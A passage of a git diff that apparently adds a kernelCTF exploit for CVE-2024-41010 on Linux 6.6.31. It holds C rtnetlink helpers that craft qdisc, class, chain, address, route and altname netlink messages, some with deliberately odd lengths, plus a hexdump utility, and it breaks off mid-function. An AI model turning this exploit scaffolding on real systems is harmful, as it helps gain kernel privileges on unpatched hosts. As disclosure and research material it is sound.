&msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_newqdisc(): create new queue discipline + * @sock: socket bound to the route table netlink + * @link_id: identify link + * @hanle: qdisc handle + */ +void rt_newqdisc(int sock, unsigned int link_id, unsigned int handle, unsigned int parent, char *kind) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh = NULL; + struct nlattr *tca; + struct tcmsg *tcm; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(QDISC_SIZE); + if (!nlh) + { + errout("rt_newqdisc malloc"); + } + + memset(nlh, 0, QDISC_SIZE); + nlh->nlmsg_len = QDISC_SIZE; + nlh->nlmsg_type = RTM_NEWQDISC; // tc_modify_qdisc + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST | NLM_F_REPLACE; + nlh->nlmsg_seq = 0; + + /* route table data */ + tcm = NLMSG_DATA(nlh); + tcm->tcm_ifindex = link_id; + tcm->tcm_family = AF_INET; + tcm->tcm_parent = parent; + tcm->tcm_handle = handle; + + /* prepare asociated attribute */ + tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); + tca = set_str_attr(tca, TCA_KIND, kind); + tca = set_nested_attr(tca, TCA_OPTIONS, EXTS_SIZE); // options + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +void rt_delqdisc(int sock, unsigned int link_id, unsigned int handle, unsigned int parent) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh = NULL; + struct nlattr *tca; + struct tcmsg *tcm; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(QDISC_SIZE); + if (!nlh) + { + errout("rt_newqdisc malloc"); + } + + memset(nlh, 0, QDISC_SIZE); + nlh->nlmsg_len = QDISC_SIZE; + nlh->nlmsg_type = RTM_DELQDISC; // tc_get_qdisc + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + tcm = NLMSG_DATA(nlh); + tcm->tcm_ifindex = link_id; + tcm->tcm_family = AF_INET; + tcm->tcm_parent = parent; + tcm->tcm_handle = handle; + + /* prepare asociated attribute */ + tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_getclass(): get class + * @sock: socket bound to the route table netlink + * @link_id: identify link + */ +void rt_getclass(int sock, unsigned int link_id, unsigned int handle, unsigned int parent) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh = NULL; + struct nlattr *tca; + struct tcmsg *tcm; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADD_CLASS); + if (!nlh) + { + errout("[rt_getclass] malloc(ADD_CLASS)"); + } + + memset(nlh, 0, ADD_CLASS); + nlh->nlmsg_len = ADD_CLASS; + nlh->nlmsg_type = RTM_GETTCLASS; // tc_ctl_tclass + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST | NLM_F_REPLACE; + nlh->nlmsg_seq = 0; + + /* route table data */ + tcm = NLMSG_DATA(nlh); + tcm->tcm_ifindex = link_id; + tcm->tcm_family = AF_INET; + tcm->tcm_parent = parent; + tcm->tcm_handle = handle; + + /* prepare asociated attribute */ + tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_addclass(): add class + * @sock: socket bound to the route table netlink + * @link_id: identify link + * @handle: idenfity class + */ +void rt_addclass(int sock, unsigned int link_id, unsigned int handle, unsigned int parent) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh = NULL; + struct nlattr *tca; + struct tcmsg *tcm; + int prio, proto; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADD_CLASS); + if (!nlh) + { + errout("rt_addclass malloc"); + } + + memset(nlh, 0, ADD_CLASS); + nlh->nlmsg_len = ADD_CLASS; + nlh->nlmsg_type = RTM_NEWTCLASS; // tc_ctl_tclass + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + tcm = NLMSG_DATA(nlh); + tcm->tcm_ifindex = link_id; + tcm->tcm_family = AF_INET; + tcm->tcm_parent = parent; + tcm->tcm_handle = handle; + + /* prepare asociated attribute */ + tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); + tca = set_nested_attr(tca, TCA_OPTIONS, sizeof(struct nlattr) * 2 + 2); + tca = set_u32_attr(tca, TCA_DRR_QUANTUM, 1337); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_delclass(): delte existing class + * @sock: socket bound to the route table netlink + * @link_id: identify link + * @handle: idenfity class + */ +void rt_delclass(int sock, unsigned int link_id, unsigned int handle, unsigned int parent) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh = NULL; + struct nlattr *tca; + struct tcmsg *tcm; + + // printf("[+] rt_delclass with link_id: 0x%x\n", link_id); + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADD_CLASS); + if (!nlh) + { + errout("rt_delclass malloc"); + } + + memset(nlh, 0, ADD_CLASS); + nlh->nlmsg_len = ADD_CLASS; + nlh->nlmsg_type = RTM_DELTCLASS; // tc_ctl_tclass + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + tcm = NLMSG_DATA(nlh); + tcm->tcm_ifindex = link_id; // TCM_IFINDEX_MAGIC_BLOCK + tcm->tcm_family = AF_INET; + tcm->tcm_parent = parent; + tcm->tcm_handle = handle; + + /* prepare asociated attribute */ + tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * inet_dumpaddr(): get the information of the link network + * @sock: socket bound to the route table netlink + * @link_id: identify link + */ +void inet_dumpaddr(int sock, unsigned int link_id) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct ifaddrmsg *ifm; + int prio, proto, ret, err; + char buf_recv[1024] = {0}; + struct rtattr *attr; + struct ifaddrmsg *addr; + unsigned char bytes[4] = {0}; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADDR_SIZE); + if (!nlh) + errout("inet_dumpaddr malloc"); + + memset(nlh, 0, ADDR_SIZE); + nlh->nlmsg_len = ADDR_SIZE; + nlh->nlmsg_type = RTM_GETADDR; // inet_dump_ifaddr + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + ifm = NLMSG_DATA(nlh); + + ifm->ifa_index = link_id; // interface + ifm->ifa_family = AF_INET; + + /* prepare asociated attribute */ + tb = (void *)ifm + NLMSG_ALIGN(sizeof(struct tcmsg)); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + err = sendmsg(sock, &msg, 0); + if (!err) + { + errout("sendmsg"); + } + + /* receive message */ + iov[0].iov_base = (void *)buf_recv; + iov[0].iov_len = BUF_SIZE; + memset(&msg, 0, sizeof(msg)); + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + ret = recvmsg(sock, &msg, 0); + if (ret == -1) + errout("recvmsg"); + + int ip = *(int *)(buf_recv + 0x1c); + bytes[0] = ip & 0xFF; + bytes[1] = (ip >> 8) & 0xFF; + bytes[2] = (ip >> 16) & 0xFF; + bytes[3] = (ip >> 24) & 0xFF; + + /* Free used structures */ + free(nlh); +} + +/** + * inet_newaddr(): get the information of the link network + * @sock: socket bound to the route table netlink + * @link_id: identify link + * @ip: new ip address in heximal + */ +void inet_newaddr(int sock, unsigned int link_id, unsigned int ip, unsigned int prio) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct ifaddrmsg *ifm; + int proto, err; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADDR_SIZE); + if (!nlh) + errout("inet_newaddr malloc"); + + memset(nlh, 0, ADDR_SIZE); + nlh->nlmsg_len = ADDR_SIZE; + nlh->nlmsg_type = RTM_NEWADDR; // inet_rtm_newaddr + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST | NLM_F_REPLACE; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + ifm = NLMSG_DATA(nlh); + + ifm->ifa_family = AF_INET; + ifm->ifa_prefixlen = 24; + ifm->ifa_scope = RT_SCOPE_UNIVERSE; + ifm->ifa_index = link_id; + + /* prepare asociated attribute */ + char label[32]; + snprintf(label, 32, "lo-%i", prio); + tb = (void *)ifm + NLMSG_ALIGN(sizeof(struct ifaddrmsg)); + tb = set_u32_attr(tb, IFA_BROADCAST, 0x6b1019ff + prio - 1024); + tb = set_u32_attr(tb, IFA_LOCAL, ip); + tb = set_u32_attr_nat(tb, IFA_RT_PRIORITY, prio); + tb = set_str_attr(tb, IFA_LABEL, label); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + err = sendmsg(sock, &msg, 0); + if (!err) + { + errout("sendmsg"); + } + + /* Free used structures */ + free(nlh); +} + +/** + * inet_newaddr(): get the information of the link network + * @sock: socket bound to the route table netlink + * @link_id: identify link + * @ip: new ip address in heximal + */ +void inet_deladdr(int sock, unsigned int link_id, unsigned int ip, unsigned int prio) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct ifaddrmsg *ifm; + int proto, err; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADDR_SIZE); + if (!nlh) + errout("inet_deladdr malloc"); + + memset(nlh, 0, ADDR_SIZE); + nlh->nlmsg_len = ADDR_SIZE; + nlh->nlmsg_type = RTM_DELADDR; // inet_rtm_deladdr + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + ifm = NLMSG_DATA(nlh); + + ifm->ifa_family = AF_INET; + ifm->ifa_prefixlen = 24; + ifm->ifa_scope = RT_SCOPE_UNIVERSE; + ifm->ifa_index = link_id; + + /* prepare asociated attribute */ + char label[32]; + snprintf(label, 32, "lo-%i", prio); + tb = (void *)ifm + NLMSG_ALIGN(sizeof(struct ifaddrmsg)); + tb = set_u32_attr(tb, IFA_BROADCAST, 0x6b1019ff); + tb = set_u32_attr(tb, IFA_LOCAL, ip); + tb = set_u32_attr_nat(tb, IFA_RT_PRIORITY, prio); + tb = set_str_attr(tb, IFA_LABEL, label); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + err = sendmsg(sock, &msg, 0); + if (!err) + { + errout("sendmsg"); + } + + /* Free used structures */ + free(nlh); +} + +/** + * rt_addroute(): add routing table + * @sock: socket bound to the route table netlink + */ +void rt_addroute(int sock) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *attr; + struct rtmsg *rtm; + struct rtvia *via; + uint32_t via_addr = ADDR_SERVER; + unsigned char addr[] = {}; + int prio, proto, err; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADD_ROUTE); + if (!nlh) + errout("rt_addroute malloc"); + + memset(nlh, 0, ADD_ROUTE); + nlh->nlmsg_len = ADD_ROUTE; + nlh->nlmsg_type = RTM_NEWROUTE; // inet_rtm_newroute + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REPLACE | NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + rtm = NLMSG_DATA(nlh); + rtm->rtm_family = AF_INET; + rtm->rtm_type = RTN_UNICAST; + rtm->rtm_scope = RT_SCOPE_UNIVERSE; + rtm->rtm_protocol = RTPROT_DHCP; + + /* prepare asociated attribute */ + attr = (void *)rtm + NLMSG_ALIGN(sizeof(struct rtmsg)); + via = (struct rtvia *)malloc(sizeof(struct rtvia) + 4); + + via->rtvia_family = AF_INET; + via->rtvia_addr[0] = 0x6b; // 0x6b10190c + via->rtvia_addr[1] = 0x10; + via->rtvia_addr[2] = 0x19; + via->rtvia_addr[3] = 0x02; + attr = set_binary_attr(attr, RTA_VIA, (uint8_t *)via, 6); + attr = (void *)via + NLMSG_ALIGN(6); + attr = set_u32_attr(attr, RTA_GATEWAY, ADDR_GW); + attr = set_u32_attr(attr, RTA_DST, ADDR_SERVER); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + err = sendmsg(sock, &msg, 0); + if (!err) + { + errout("sendmsg"); + } + + /* Free used structures */ + free(nlh); +} + +/** + * rt_addaltname() + */ + +#ifndef RTM_NEWLINKPROP +#define RTM_NEWLINKPROP 108 +#endif +#define IFLA_PROP_LIST (52 | NLA_F_NESTED) +#define IFLA_ALT_IFNAME 53 +// void rt_altifname(int sock, unsigned int link_id, char *name) +// { +// struct msghdr msg; +// struct sockaddr_nl dest_snl; +// struct iovec iov[3]; +// struct nlmsghdr *nlh; +// struct nlattr *tb; +// struct ifinfomsg *ifm; + +// /* Destination preparation */ +// memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); +// dest_snl.nl_family = AF_NETLINK; +// memset(&msg, 0, sizeof(msg)); + +// /* route table netlink table message preparation */ +// nlh = (struct nlmsghdr *)malloc(LINK_SIZE); +// if (!nlh) +// errout("rt_newlink malloc"); + +// memset(nlh, 0, LINK_SIZE); +// nlh->nlmsg_len = LINK_SIZE; +// nlh->nlmsg_type = RTM_NEWLINKPROP; // rtnl_newlinkprop +// nlh->nlmsg_pid = getpid(); +// nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; +// nlh->nlmsg_seq = 0; + +// /* route table data */ +// ifm = NLMSG_DATA(nlh); +// ifm->ifi_family = AF_INET; +// ifm->ifi_index = link_id; +// ifm->ifi_flags = IFF_UP | IFF_MULTICAST | IFF_DEBUG; + +// /* prepare asociated attribute */ +// tb = (void *)nlh + NLMSG_SPACE(sizeof(struct ifinfomsg)); +// tb = set_nested_attr(tb, IFLA_PROP_LIST, IFLA_PROP_LIST_SIZE); +// tb = set_str_attr(tb, IFLA_ALT_IFNAME, name); + +// /* IOV preparation */ +// memset(iov, 0, sizeof(struct iovec) * 3); +// iov[0].iov_base = (void *)nlh; +// iov[0].iov_len = nlh->nlmsg_len; + +// /* Message header preparation */ +// msg.msg_name = (void *)&dest_snl; +// msg.msg_namelen = sizeof(struct sockaddr_nl); +// msg.msg_iov = iov; +// msg.msg_iovlen = 1; + +// sendmsg(sock, &msg, 0); + +// /* Free used structures */ +// free(nlh); +// } + +void rt_altifname(int sock, unsigned int link_id, char *name, int len) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct ifinfomsg *ifm; + // char kind_ops[] = "bridge\0"; // bridge veth + // char buf_recv[BUF_SIZE]; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(LINK_PROP_SIZE * 10); + if (!nlh) + errout("rt_newlink malloc"); + + memset(nlh, 0, LINK_PROP_SIZE * 10); + nlh->nlmsg_len = LINK_PROP_SIZE * 10 - 216; + nlh->nlmsg_type = RTM_NEWLINKPROP; // rtnl_newlink + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + // infomation + ifm = NLMSG_DATA(nlh); + ifm->ifi_family = AF_INET; + ifm->ifi_index = link_id; + ifm->ifi_flags = IFF_UP | IFF_MULTICAST | IFF_DEBUG; + + /* prepare asociated attribute */ + tb = (void *)nlh + NLMSG_SPACE(sizeof(struct ifinfomsg)); + // // tb = set_u8_attr(tb, IFLA_OPERSTATE, IF_OPER_UP); + // tb = set_str_attr(tb, IFLA_IFNAME, "lo"); + // tb = set_nested_attr(tb, IFLA_LINKINFO, LINKINFO_SIZE); + // tb = set_str_attr(tb, IFLA_INFO_KIND, kind_ops); + // tb = set_nested_attr(tb, IFLA_INFO_DATA, LINKDATA_SIZE); + tb = set_nested_attr(tb, IFLA_PROP_LIST, IFLA_PROP_LIST_SIZE); + tb = set_strn_attr(tb, IFLA_ALT_IFNAME, name, len); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_cloneroute(): nothing, not developing + * @sock: socket bound to the route table netlink + */ +void rt_cloneroute(int sock, unsigned int link_id) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct rtmsg *rtm; + int proto, err; + char buf_recv[1024] = {0}; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADD_ROUTE); + if (!nlh) + errout("rt_cloneroute malloc"); + + memset(nlh, 0, ADD_ROUTE); + nlh->nlmsg_len = ADD_ROUTE; + nlh->nlmsg_type = RTM_GETROUTE; // inet_dump_fib + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + rtm = NLMSG_DATA(nlh); + rtm->rtm_flags = RTM_F_CLONED; + rtm->rtm_family = AF_INET; + + /* prepare asociated attribute */ + tb = (void *)rtm + NLMSG_ALIGN(sizeof(struct rtmsg)); + tb = set_u32_attr(tb, RTA_OIF, link_id); + tb = set_u32_attr(tb, RTA_TABLE, RT_TABLE_MAIN); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + err = sendmsg(sock, &msg, 0); + if (!err) + { + errout("sendmsg"); + } + + /* receive message */ + iov[0].iov_base = (void *)buf_recv; + iov[0].iov_len = BUF_SIZE; + memset(&msg, 0, sizeof(msg)); + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + err = recvmsg(sock, &msg, 0); + if (err == -1) + errout("recvmsg"); + + hexdump(buf_recv, 0x200); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_newchain(): add chain in queueing discipline + * @sock: socket bound to the route table netlink + * @link_id: link_id + * @chain_id: chain_id + */ +void rt_newchain(int sock, unsigned int link_id, unsigned int chain_id, unsigned int parent) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh = NULL; + struct nlattr *tca; + struct tcmsg *tcm; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADD_CLASS); + if (!nlh) + { + errout("rt_delchain malloc"); + } + + memset(nlh, 0, ADD_CLASS); + nlh->nlmsg_len = ADD_CLASS; + nlh->nlmsg_type = RTM_NEWCHAIN; // tc_ctl_chain + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + // Attribute failed policy validation + tcm = NLMSG_DATA(nlh); + tcm->tcm_ifindex = link_id; + tcm->tcm_family = AF_INET; + tcm->tcm_parent = parent; + + /* prepare asociated attribute */ + tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); + tca = set_u32_attr(tca, TCA_CHAIN, chain_id); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_delchain(): delete the chain in queueing discipline + * @sock: socket bound to the route table netlink + * @link_id: idendify link + */ +void rt_delchain(int sock, unsigned int link_id, unsigned int parent) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh = NULL; + struct nlattr *tca; + struct tcmsg *tcm; + + // printf("[+] rt_delchain with link_id: 0x%x\n", link_id); + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADD_CLASS); + if (!nlh) + { + errout("rt_delchain malloc"); + } + + memset(nlh, 0, ADD_CLASS); + nlh->nlmsg_len = ADD_CLASS; + nlh->nlmsg_type = RTM_DELCHAIN; // tc_ctl_chain + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + tcm = NLMSG_DATA(nlh); + tcm->tcm_ifindex = link_id; + tcm->tcm_family = AF_INET; + tcm->tcm_parent = parent; + + /* prepare asociated attribute */ + tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/log.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/log.c new file mode 100644 index 00000000..7f36caf3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/log.c @@ -0,0 +1,42 @@ + +#include +#include +#include +#include + +void debug(void) +{ + getchar(); +} + +/* Hexdump utility for debugging purposes */ +void hexdump(void *mem, unsigned int len) +{ + unsigned int i = 0, j = 0; + + for (i = 0; i < len + ((len % 16) ? (16 - len % 16) : 0); i++) + { + if (i % 16 == 0) + printf("0x%06x: ", i); + + if (i < len) + printf("%02x ", 0xFF & ((char *)mem)[i]); + else + printf(" "); + + if (i % 16 == (16 - 1)) + { + for (j = i - (16 - 1); j <= i; j++) + { + if (j >= len) + putchar(' '); + else if (isprint(((char *)mem)[j])) + putchar(0xFF & ((char *)mem)[j]); + else + putchar('.'); + } + putchar('\n'); + } + } + return; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/rtnetlink.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/rtnetlink.c new file mode 100644 index 00000000..936eeffe --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/rtnetlink.c @@ -0,0 +1,162 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "rtnetlink.h" +#include "log.h" + +/** + * set_str_attr(): Prepare a 8bytes of string netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @name: Buffer to copy into the attribute + */ +struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, char *name) +{ + int len = 8 + sizeof(struct nlattr); + attr->nla_type = type; + attr->nla_len = 8; + memcpy(NLA_ATTR(attr), name, len); + + return (void *)attr + NLA_ALIGN(len) + sizeof(struct nlattr); +} + +struct nlattr *set_str_attr(struct nlattr *attr, uint16_t type, char *name) +{ + int len = strlen(name) + sizeof(struct nlattr); + attr->nla_type = type; + 